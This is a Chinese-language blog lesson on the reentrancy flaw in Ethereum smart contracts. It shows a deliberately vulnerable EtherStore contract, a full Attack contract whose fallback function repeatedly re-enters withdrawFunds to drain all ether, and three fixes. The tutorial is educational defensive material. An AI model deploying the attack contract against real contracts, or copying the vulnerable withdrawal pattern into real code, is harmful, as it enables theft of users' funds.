《王小豬的區塊鏈安全課堂一》---重入漏洞

johnchou發表於2021-09-09

王小豬區塊鏈課堂主要介紹區塊鏈相關問題。課堂會以主題形式來介紹。

本篇技術課堂,討論的是以太坊智慧合約的重入漏洞。

重入漏洞

重入漏洞,就是利用智慧合約的Fallback機制,讓合約執行額外程式碼。所以先要介紹一下fallback機制。

每個以太坊的合約裡有且只有一個fallback函式。函式無引數,無返回值,當呼叫合約時,沒有任何匹配函式,就會預設呼叫fallback函式。

此外,當合約收到Ether轉賬時,這個函式也會被執行。不過執行這個函式會消耗2300gas(注: 這也是防止此類漏洞方法)

下面舉一個栗子來看下這個漏洞。

下面是一個被攻擊合約。實現了儲存和提取功能,且每次提取不能大於1ETH。

contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }    function withdrawFunds (uint256 _weiToWithdraw) public {        require(balances[msg.sender] >= _weiToWithdraw);        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
 }

雖然合約的提取做了層層保護,但下面這幾行程式碼還是有漏洞的。

require(msg.sender.call.value(_weiToWithdraw)());

這句話會發起一個轉賬,如果被轉賬的賬號,存在如下攻擊合約。這個攻擊合約將一次轉走全部ETH。

import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;  // intialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }  function pwnEtherStore() public payable {      // attack to the nearest ether
      require(msg.value >= 1 ether);      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();      // start the magic
      etherStore.withdrawFunds(1 ether);
  }  function collectEther() public {
      msg.sender.transfer(this.balance);
  }  // fallback function - where the magic happens
  function () payable {      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

攻擊者先存入1ETH,在取出1ETH。程式碼如下:

etherStore.depositFunds.value(1 ether)();// start the magicetherStore.withdrawFunds(1 ether);

攻擊者,呼叫ethStore.withdrawFunds,觸發轉賬。而轉賬會啟用Fallback機制,也就是如下程式碼在轉賬會被啟用。

 function () payable {      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }

而fallback函式又呼叫了一次,Ethstore的提取函式,而此時提取函式之前的保護完全失效,轉賬再次發生,fallback再次被調,Ethstore的提取函式再次被調。依次迴圈,直到取走全部ETH。

當withdrawFunds 被反覆呼叫時,如下的保護措施完全失效。

require(balances[msg.sender] >= _weiToWithdraw);// limit the withdrawalrequire(_weiToWithdraw <= withdrawalLimit);// limit the time allowed to withdrawrequire(now >= lastWithdrawTime[msg.sender] + 1 weeks);require(msg.sender.call.value(_weiToWithdraw)());

預防技術

這樣的漏洞有三種方法。

第一種

使用transfer 轉賬。而不是call.value方法。原因在於transfer只提供2300gas 用於轉賬。沒有多餘的gas執行fallback函式。注:使用transfer函式轉賬是良好的編碼習慣,之後談到未處理call結果的漏洞,也可以透過transfer函式解決。

第二種

調整原有程式碼順序,先扣錢再轉賬。也就是改成這樣。

balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;require(msg.sender.call.value(_weiToWithdraw)());//balances[msg.sender] -= _weiToWithdraw;//lastWithdrawTime[msg.sender] = now;

第三種

加入互斥鎖,類似執行緒鎖。

如下程式碼為全部三種技術都用的新合約。注: 一種技術就可以,不過為了展示所以都顯示

contract EtherStore {    // initialise the mutex
    bool reEntrancyMutex = false;
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }    function withdrawFunds (uint256 _weiToWithdraw) public {        require(!reEntrancyMutex);        require(balances[msg.sender] >= _weiToWithdraw);        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;        // set the reEntrancy mutex before the external call
        reEntrancyMutex = true;
        msg.sender.transfer(_weiToWithdraw);        // release the mutex after the external call
        reEntrancyMutex = false; 
    }
 }

這個漏洞也是以太坊早期重要的漏洞,也就是著名的DAO攻擊,也導致ETC的分叉。
本期課堂就介紹到這,下期介紹溢位漏洞。

我是王小豬,一隻找瘋的豬!



作者:王小豬的簡書
連結:


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/4422/viewspace-2818020/,如需轉載,請註明出處,否則將追究法律責任。

相關文章